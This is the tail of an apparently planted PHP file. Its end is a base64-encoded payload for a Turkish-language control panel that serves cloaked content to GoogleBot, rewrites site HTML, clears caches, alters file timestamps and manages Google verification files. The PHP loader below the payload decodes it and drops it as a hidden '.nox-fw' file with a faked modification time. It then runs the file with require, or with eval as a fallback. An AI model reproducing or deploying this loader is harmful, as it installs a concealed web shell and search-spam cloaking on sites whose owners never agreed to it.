2siOwogICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaHRtbGNvbnRlbnQiKS5wbGFjZWhvbGRlcj0iSGVuw7x6IGnDp2VyaWsgeW9rIOKAlCBidXJheWEgeWF6xLFwIGtheWRlZGluLiI7CiAgICB9ZWxzZXsKICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImh0bWxjb250ZW50IikudmFsdWU9Y29udGVudDsKICAgIH0KICB9OwogIHgub25lcnJvcj1mdW5jdGlvbigpewogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImh0bWwtbm9tc2ciKS5zdHlsZS5kaXNwbGF5PSJibG9jayI7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaHRtbGNvbnRlbnQiKS5wbGFjZWhvbGRlcj0ixLDDp2VyaWsgecO8a2xlbmVtZWRpLiI7CiAgfTsKICB4LnNlbmQoKTsKfSkoKTsKCmZ1bmN0aW9uIHNhdmVIdG1sKCl7CiAgdmFyIGM9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImh0bWxjb250ZW50IikudmFsdWU7CiAgaWYoYy5pbmRleE9mKCI8IisiPyIpIT09LTEpe3NldE1zZygiaG1zZyIsIlBIUCBldGlrZXRpIGnDp2VyZW1lei4iLCJlcnIiKTtyZXR1cm47fQogIHNldE1zZygiaG1zZyIsIktheWRlZGlsaXlvci4uLiIsImluZm8iKTsKICB2YXIgZmQ9bmV3IEZvcm1EYXRhKCk7ZmQuYXBwZW5kKCJhIiwic2F2ZWh0bWwiKTtmZC5hcHBlbmQoImQiLHRvSGV4KGMpKTsKICB2YXIgeD1uZXcgWE1MSHR0cFJlcXVlc3QoKTt4Lm9wZW4oIlBPU1QiLCI/IitQSysiJl89IitEYXRlLm5vdygpKTsKICB4Lm9ubG9hZD1mdW5jdGlvbigpe3ZhciBvaz14LnJlc3BvbnNlVGV4dD09PSJPSyI7c2V0TXNnKCJobXNnIixvaz8iS2F5ZGVkaWxkaS4iOiJIYXRhOiAiK3gucmVzcG9uc2VUZXh0LG9rPyJvayI6ImVyciIpO307CiAgeC5vbmVycm9yPWZ1bmN0aW9uKCl7c2V0TXNnKCJobXNnIiwiQcSfIGhhdGFzxLEiLCJlcnIiKTt9O3guc2VuZChmZCk7Cn0KCmZ1bmN0aW9uIGJvdGNoZWNrKGF1dG8pewogIHNldE1zZygiYmNtc2ciLCJHb29nbGVCb3QgaXN0ZcSfaSBnw7ZuZGVyaWxpeW9yLi4uIiwiaW5mbyIpOwogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJiY3Jlc3VsdCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiOwogIF9zZXRDbG9ha1N0YXR1cygnY2hlY2tpbmcnKTsKICB2YXIgeD1uZXcgWE1MSHR0cFJlcXVlc3QoKTt4Lm9wZW4oIkdFVCIsIj8iK1BLKyImYT1ib3RjaGVjayZfPSIrRGF0ZS5ub3coKSk7eC5zZXRSZXF1ZXN0SGVhZGVyKCJDYWNoZS1Db250cm9sIiwibm8tY2FjaGUiKTsKICB4Lm9ubG9hZD1mdW5jdGlvbigpewogICAgc2V0TXNnKCJiY21zZyIsIiIsImluZm8iKTt2YXIgcjsKICAgIHRyeXtyPUpTT04ucGFyc2UoeC5yZXNwb25zZVRleHQpO31jYXRjaChlKXtzZXRNc2coImJjbXNnIiwiSlNPTiBoYXRhc8SxOiAiK3gucmVzcG9uc2VUZXh0LCJlcnIiKTtfc2V0Q2xvYWtTdGF0dXMoJ3Bhc2lmJyk7cmV0dXJuO30KICAgIGlmKHIuZXJyb3Ipe3NldE1zZygiYmNtc2ciLHIuZXJyb3IsImVyciIpO3JldHVybjt9CiAgICB2YXIgcmVzPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJiY3Jlc3VsdCIpLGJhZGdlPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJiY2JhZGdlIiksCiAgICAgICAgbWV0YT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYmNtZXRhIikscHJldmlldz1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYmNwcmV2aWV3Iik7CiAgICByZXMuc3R5bGUuZGlzcGxheT0iYmxvY2siOwogICAgaWYoci5jdXJsX2Vycm9yKXtiYWRnZS5jbGFzc05hbWU9ImJhZGdlLXdhcm4iO2JhZGdlLnRleHRDb250ZW50PSJjVVJMIEhhdGFzxLE6ICIrci5jdXJsX2Vycm9yO19zZXRDbG9ha1N0YXR1cygncGFzaWYnKTt9CiAgICBlbHNlIGlmKHIuaHRtbF9lbXB0eSl7YmFkZ2UuY2xhc3NOYW1lPSJiYWRnZS13YXJuIjtiYWRnZS50ZXh0Q29udGVudD0ixLDDp2VyaWsgZG9zeWFzxLEgYm/FnyDigJQga2FyxZ/EsWxhxZ90xLFybWEgeWFwxLFsYW1hZMSxLiI7X3NldENsb2FrU3RhdHVzKCdwYXNpZicpO30KICAgIGVsc2UgaWYoci5tYXRjaGVkKXtiYWRnZS5jbGFzc05hbWU9ImJhZGdlLW9rIjtiYWRnZS50ZXh0Q29udGVudD0i4pyTIENMT0FLIMOHQUxJxZ5JWU9SIOKAlCBHb29nbGVCb3QgZG/En3J1IGnDp2VyacSfaSBnw7Zyw7x5b3IuIjtfc2V0Q2xvYWtTdGF0dXMoJ2FrdGlmJyk7fQogICAgZWxzZXsKICAgICAgYmFkZ2UuY2xhc3NOYW1lPSJiYWRnZS1mYWlsIjsKICAgICAgdmFyIGZhaWxNc2c9IuKclyBDTE9BSyDDh0FMScWeTUlZT1Ig4oCUIEdvb2dsZUJvdCBpw6dlcmnEn2kgZ8O2cmVtZWRpLiI7CiAgICAgIGlmKHIudXNlcl9pbmlfb25seSlmYWlsTXNnKz0iIChZYWxuxLF6Y2EgdXNlci5pbmkgYWt0aWYg4oCUIH41IGRrIGJla2xleWlwIHRla3JhciBkZW5leWluKSI7CiAgICAgIGJhZGdlLnRleHRDb250ZW50PWZhaWxNc2c7X3NldENsb2FrU3RhdHVzKCdwYXNpZicpOwogICAgfQogICAgbWV0YS50ZXh0Q29udGVudD0iVVJMOiAiK3IudXJsKyIgfCBIVFRQOiAiK3IuaHR0cF9jb2RlKyhyLmZpbmFsX3VybCYmci5maW5hbF91cmwhPT1yLnVybD8iIHwgWcO2bmxlbmRpOiAiK3IuZmluYWxfdXJsOiIiKTsKICAgIHByZXZpZXcudGV4dENvbnRlbnQ9ci5wcmV2aWV3fHwiKHlhbsSxdCBib8WfKSI7CiAgfTsKICB4Lm9uZXJyb3I9ZnVuY3Rpb24oKXtzZXRNc2coImJjbXNnIiwiQcSfIGhhdGFzxLEiLCJlcnIiKTtfc2V0Q2xvYWtTdGF0dXMoJ3Bhc2lmJyk7fTt4LnNlbmQoKTsKfQoKZnVuY3Rpb24gY2xlYXJjYWNoZSgpewogIHNldE1zZygiY21zZyIsIkNhY2hlIHRlbWl6bGVuaXlvci4uLiIsImluZm8iKTtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY2NyZXN1bHQiKS5zdHlsZS5kaXNwbGF5PSJub25lIjsKICB2YXIgeD1uZXcgWE1MSHR0cFJlcXVlc3QoKTt4Lm9wZW4oIkdFVCIsIj8iK1BLKyImYT1jbGVhcmNhY2hlJl89IitEYXRlLm5vdygpKTt4LnNldFJlcXVlc3RIZWFkZXIoIkNhY2hlLUNvbnRyb2wiLCJuby1jYWNoZSIpOwogIHgub25sb2FkPWZ1bmN0aW9uKCl7CiAgICBzZXRNc2coImNtc2ciLCIiLCJpbmZvIik7dmFyIHI7dHJ5e3I9SlNPTi5wYXJzZSh4LnJlc3BvbnNlVGV4dCk7fWNhdGNoKGUpe3NldE1zZygiY21zZyIsIkpTT04gaGF0YXPEsTogIit4LnJlc3BvbnNlVGV4dCwiZXJyIik7cmV0dXJuO30KICAgIGlmKHIuZmF0YWwpe3NldE1zZygiY21zZyIsIlBIUCBIYXRhc8SxOiAiK3IuZmF0YWwsImVyciIpO3JldHVybjt9CiAgICB2YXIgbGFiZWxzPXtvcGNhY2hlOiJQSFAgT1BjYWNoZSIsZnBtX3JlbG9hZDoiUEhQLUZQTSBSZWxvYWQiLGFwYzoiQVBDIENhY2hlIixtZW1jYWNoZToiTWVtY2FjaGUiLG1lbWNhY2hlZDoiTWVtY2FjaGVkIixyZWRpczoiUmVkaXMiLAogICAgICBqb29tbGFfY2FjaGU6Ikpvb21sYSBGcm9udGVuZCBDYWNoZSIsam9vbWxhX2FkbWluOiJKb29tbGEgQWRtaW4gQ2FjaGUiLGpvb21sYV90bXA6Ikpvb21sYSBUbXAiLAogICAgICB3cF9jYWNoZToiV1AgRGlzayBDYWNoZSIsZGlyX3czdGM6IltEaXppbl0gVzNUQyIsZGlyX3dwcm9ja2V0OiJbRGl6aW5dIFdQIFJvY2tldCIsZGlyX2xpdGVzcGVlZDoiW0RpemluXSBMaXRlU3BlZWQiLAogICAgICBkaXJfYXV0b3B0aW1pemU6IltEaXppbl0gQXV0b3B0aW1pemUiLGRpcl9lbmR1cmFuY2U6IltEaXppbl0gRW5kdXJhbmNlIixkaXJfd3BmYXN0ZXN0OiJbRGl6aW5dIFdQIEZhc3Rlc3QiLAogICAgICBkaXJfY29tZXQ6IltEaXppbl0gQ29tZXQgQ2FjaGUiLGRpcl9lbmFibGVyOiJbRGl6aW5dIENhY2hlIEVuYWJsZXIiLAogICAgICB3cF9hcGk6IldQIEFQSSIsd3Bfb2JqZWN0X2NhY2hlOiJXUCBPYmplY3QgQ2FjaGUiLGFwaV9zdXBlcmNhY2hlOiJXUCBTdXBlciBDYWNoZSIsYXBpX3czdGM6IlczVEMgQVBJIiwKICAgICAgYXBpX3dwcm9ja2V0OiJXUCBSb2NrZXQgQVBJIixhcGlfd3BmYXN0ZXN0OiJXUCBGYXN0ZXN0IEFQSSIsYXBpX2F1dG9wdGltaXplOiJBdXRvcHRpbWl6ZSBBUEkiLAogICAgICBhcGlfbGl0ZXNwZWVkOiJMaXRlU3BlZWQgQVBJIixhcGlfc2dvcHRpbWl6ZXI6IlNHIE9wdGltaXplciIsYXBpX2NhY2hlZW5hYmxlcjoiQ2FjaGUgRW5hYmxlciBBUEkiLAogICAgICBhcGlfY29tZXQ6IkNvbWV0IENhY2hlIEFQSSIsbGl0ZXNwZWVkX3dwY2xpOiJMaXRlU3BlZWQgV1AtQ0xJIiwKICAgICAgZ2VuZXJpY19jYWNoZToiQ2FjaGUgRGl6aW5pIixnZW5lcmljX3RtcDoiVG1wIERpemluaSIsCiAgICAgIGFydWJhOiJBcnViYSBDRE4iLHZhcm5pc2g6IlZhcm5pc2giLG5naW54X2NhY2hlOiJOZ2lueCBGYXN0Q0dJIENhY2hlIiwKICAgICAgaHRhY2Nlc3M6Ii5odGFjY2VzcyBUYXJhbWEiLHdhcm11cF9kZXNrdG9wOiJXYXJtdXAgTWFzYcO8c3TDvCIsd2FybXVwX21vYmlsZToiV2FybXVwIE1vYmlsIn07CiAgICB2YXIgaHRtbD0iIjsKICAgIGZvcih2YXIgayBpbiByKXsKICAgICAgaWYoIXJba118fCFyW2tdLnMpY29udGludWU7CiAgICAgIHZhciBzPXJba10ucyxtPXJba10ubTsKICAgICAgdmFyIGNscz1zPT09Im9rIj8iYy1vayI6cz09PSJ3YXJuIj8iYy13YXJuIjpzPT09ImVyciI/ImMtZXJyIjoiYy1uYSI7CiAgICAgIHZhciBpY29uPXM9PT0ib2siPyLinJMiOnM9PT0id2FybiI/IuKaoCI6cz09PSJlcnIiPyLinJciOiLigJQiOwogICAgICBodG1sKz0nPGRpdiBjbGFzcz0iY3IgJytjbHMrJyI+PGI+JytpY29uKycgJysobGFiZWxzW2tdfHxrKSsnPC9iPjogJyttKyc8L2Rpdj4nOwogICAgfQogICAgdmFyIGVsPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjY3Jlc3VsdCIpOwogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNjcm93cyIpLmlubmVySFRNTD1odG1sO2VsLnN0eWxlLmRpc3BsYXk9ImJsb2NrIjsKICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKXsKICAgICAgZWwuc3R5bGUudHJhbnNpdGlvbj0ib3BhY2l0eSAuNnMiO2VsLnN0eWxlLm9wYWNpdHk9IjAiOwogICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7CiAgICAgICAgZWwuc3R5bGUuZGlzcGxheT0ibm9uZSI7ZWwuc3R5bGUub3BhY2l0eT0iMSI7ZWwuc3R5bGUudHJhbnNpdGlvbj0iIjsKICAgICAgICBzZXRNc2coImNtc2ciLCLinJMgQ2FjaGUgdGVtaXpsZW1lIHRhbWFtbGFuZMSxIOKAlCBHb29nbGVCb3Qga29udHJvbMO8IHZleWEgWmVuZ2luIFNvbnXDp2xhciBUZXN0aSB5YXBhYmlsaXJzaW5pei4iLCJvayIpOwogICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKXtzZXRNc2coImNtc2ciLCIiLCJpbmZvIik7fSw2MDAwKTsKICAgICAgfSw2MDApOwogICAgfSw0MDAwKTsKICB9OwogIHgub25lcnJvcj1mdW5jdGlvbigpe3NldE1zZygiY21zZyIsIkHEnyBoYXRhc8SxIiwiZXJyIik7fTt4LnNlbmQoKTsKfQoKZnVuY3Rpb24gZml4dGltZXN0YW1wKCl7CiAgc2V0TXNnKCJjbXNnIiwiVGltZXN0YW1wIGTDvHplbHRpbGl5b3IuLi4iLCJpbmZvIik7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRzcmVzdWx0Iikuc3R5bGUuZGlzcGxheT0ibm9uZSI7CiAgdmFyIHg9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7eC5vcGVuKCJHRVQiLCI/IitQSysiJmE9Zml4dGltZXN0YW1wJl89IitEYXRlLm5vdygpKTt4LnNldFJlcXVlc3RIZWFkZXIoIkNhY2hlLUNvbnRyb2wiLCJuby1jYWNoZSIpOwogIHgub25sb2FkPWZ1bmN0aW9uKCl7CiAgICBzZXRNc2coImNtc2ciLCIiLCJpbmZvIik7dmFyIHI7dHJ5e3I9SlNPTi5wYXJzZSh4LnJlc3BvbnNlVGV4dCk7fWNhdGNoKGUpe3NldE1zZygiY21zZyIsIkpTT04gaGF0YXPEsSIsImVyciIpO3JldHVybjt9CiAgICB2YXIgaHRtbD0iIjsKICAgIGZvcih2YXIgayBpbiByKXt2YXIgcz1yW2tdLnMsbT1yW2tdLm07dmFyIGNscz1zPT09Im9rIj8iYy1vayI6cz09PSJ3YXJuIj8iYy13YXJuIjpzPT09ImVyciI/ImMtZXJyIjoiYy1uYSI7dmFyIGljb249cz09PSJvayI/IuKckyI6cz09PSJ3YXJuIj8i4pqgIjpzPT09ImVyciI/IuKclyI6IuKAlCI7aHRtbCs9JzxkaXYgY2xhc3M9ImNyICcrY2xzKyciPjxiPicraWNvbisnICcraysnPC9iPjogJyttKyc8L2Rpdj4nO30KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0c3Jvd3MiKS5pbm5lckhUTUw9aHRtbDtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidHNyZXN1bHQiKS5zdHlsZS5kaXNwbGF5PSJibG9jayI7CiAgfTsKICB4Lm9uZXJyb3I9ZnVuY3Rpb24oKXtzZXRNc2coImNtc2ciLCJBxJ8gaGF0YXPEsSIsImVyciIpO307eC5zZW5kKCk7Cn0KCmZ1bmN0aW9uIHVwbG9hZEdvb2dsZSgpewogIHZhciBuYW1lPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJnbmFtZSIpLnZhbHVlLnRyaW0oKTt2YXIgY29udGVudD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZ2NvbnRlbnQiKS52YWx1ZTsKICBpZighR09PR0xFX1JYLnRlc3QobmFtZSkpe3NldE1zZygiZ21zZyIsIkdlw6dlcnNpeiBhZC4gw5ZyOiBnb29nbGUwODU1MTc2NzU3NDlkNmZlLmh0bWwiLCJlcnIiKTtyZXR1cm47fQogIGlmKCFjb250ZW50KXtzZXRNc2coImdtc2ciLCLEsMOnZXJpayBib8WfIG9sYW1hei4iLCJlcnIiKTtyZXR1cm47fQogIGlmKCEvXmdvb2dsZS1zaXRlLXZlcmlmaWNhdGlvbjpccypbQS1aYS16MC05X1wtXC5dK1xzKiQvLnRlc3QoY29udGVudC50cmltKCkpKXtzZXRNc2coImdtc2ciLCJHZcOnZXJzaXogZm9ybWF0LiBZYWxuxLF6Y2E6IGdvb2dsZS1zaXRlLXZlcmlmaWNhdGlvbjogVE9LRU4iLCJlcnIiKTtyZXR1cm47fQogIHNldE1zZygiZ21zZyIsIlnDvGtsZW5peW9yLi4uIiwiaW5mbyIpOwogIHZhciBmZD1uZXcgRm9ybURhdGEoKTtmZC5hcHBlbmQoImEiLCJ3cml0ZWdvb2dsZSIpO2ZkLmFwcGVuZCgiYiIsZW5jKG5hbWUpKTtmZC5hcHBlbmQoImQiLHRvSGV4KGNvbnRlbnQpKTsKICB2YXIgeD1uZXcgWE1MSHR0cFJlcXVlc3QoKTt4Lm9wZW4oIlBPU1QiLCI/IitQSysiJl89IitEYXRlLm5vdygpKTsKICB4Lm9ubG9hZD1mdW5jdGlvbigpe2lmKHgucmVzcG9uc2VUZXh0PT09Ik9LIil7c2V0TXNnKCJnbXNnIiwiWcO8a2xlbmRpOiAiK25hbWUsIm9rIik7c2V0VGltZW91dChmdW5jdGlvbigpe2xvY2F0aW9uLmhyZWY9Ij8iK1BLO30sMTAwMCk7fWVsc2V7c2V0TXNnKCJnbXNnIiwiSGF0YTogIit4LnJlc3BvbnNlVGV4dCwiZXJyIik7fX07CiAgeC5vbmVycm9yPWZ1bmN0aW9uKCl7c2V0TXNnKCJnbXNnIiwiQcSfIGhhdGFzxLEiLCJlcnIiKTt9O3guc2VuZChmZCk7Cn0KCmZ1bmN0aW9uIGdzY1JpY2hUZXN0KCl7CiAgdmFyIHNpdGVVcmw9d2luZG93LmxvY2F0aW9uLnByb3RvY29sKyIvLyIrd2luZG93LmxvY2F0aW9uLmhvc3QrIi8iOwogIHZhciB0ZXN0VXJsPSJodHRwczovL3NlYXJjaC5nb29nbGUuY29tL3Rlc3QvcmljaC1yZXN1bHRzP3VybD0iK2VuY29kZVVSSUNvbXBvbmVudChzaXRlVXJsKTsKICB3aW5kb3cub3Blbih0ZXN0VXJsLCJfYmxhbmsiLCJub29wZW5lcixub3JlZmVycmVyIik7Cn0KCmZ1bmN0aW9uIHJlbW92ZUZpbGUobmFtZSl7CiAgaWYoIUdPT0dMRV9SWC50ZXN0KG5hbWUpKXthbGVydCgiWWFsbsSxemNhIEdvb2dsZSBkb8SfcnVsYW1hIGRvc3lhbGFyxLEgc2lsaW5lYmlsaXIuIik7cmV0dXJuO30KICBpZighY29uZmlybShuYW1lKyIgc2lsaW5zaW4gbWk/IikpcmV0dXJuOwogIHZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiPyIrUEsrIiZhPXJtZ29vZ2xlJmI9IitlbmMobmFtZSkrIiZfPSIrRGF0ZS5ub3coKSk7eC5zZXRSZXF1ZXN0SGVhZGVyKCJDYWNoZS1Db250cm9sIiwibm8tY2FjaGUiKTsKICB4Lm9ubG9hZD1mdW5jdGlvbigpe2lmKHgucmVzcG9uc2VUZXh0PT09Ik9LIil7bG9jYXRpb24uaHJlZj0iPyIrUEs7fWVsc2V7YWxlcnQoIkhhdGE6ICIreC5yZXNwb25zZVRleHQpO319OwogIHgub25lcnJvcj1mdW5jdGlvbigpe2FsZXJ0KCJBxJ8gaGF0YXPEsSIpO307eC5zZW5kKCk7Cn0KCjwvc2NyaXB0Pgo8L2JvZHk+PC9odG1sPgo='; $code = base64_decode($payload, true); if ($code === false || strpos($code, '<?php') !== 0) { header('Content-Type: application/json'); echo json_encode(array('error' => 'Runtime decode failed')); exit; } $hash = substr(md5($payload), 0, 12); $dirs = array(__DIR__, rtrim(sys_get_temp_dir(), '/\\')); $runtime = null; // Aday zinciri: ilk yazilabilir kazanir; atomik yazim (tmp + rename + LOCK_EX) foreach ($dirs as $dir) { $cand = $dir . '/.nox-fw-' . $hash . '.php'; if (is_file($cand)) { $runtime = $cand; break; } $tmp = $cand . '.' . substr(md5(uniqid('', true)), 0, 8); if (@file_put_contents($tmp, $code, LOCK_EX) !== false && @rename($tmp, $cand)) { @chmod($cand, 0600); @touch($cand, @filemtime(__FILE__)); $runtime = $cand; break; } @unlink($tmp); } // Prefix sweep: eski decoded cache'leri temizle (payload degisti ad degisti) foreach ($dirs as $dir) { $old = @glob($dir . '/.nox-fw-*.php'); if (is_array($old)) { foreach ($old as $f) { if ($f !== $runtime) @unlink($f); } } } if ($runtime !== null) { require $runtime; } else { // Bellek fallback: disk yazilamazsa kod yine kosar (eval aciksa) eval('?>' . $code); }
/home/atelierpru/provence/6bf95/../plugins/../52177/../52177/loversss.php.tar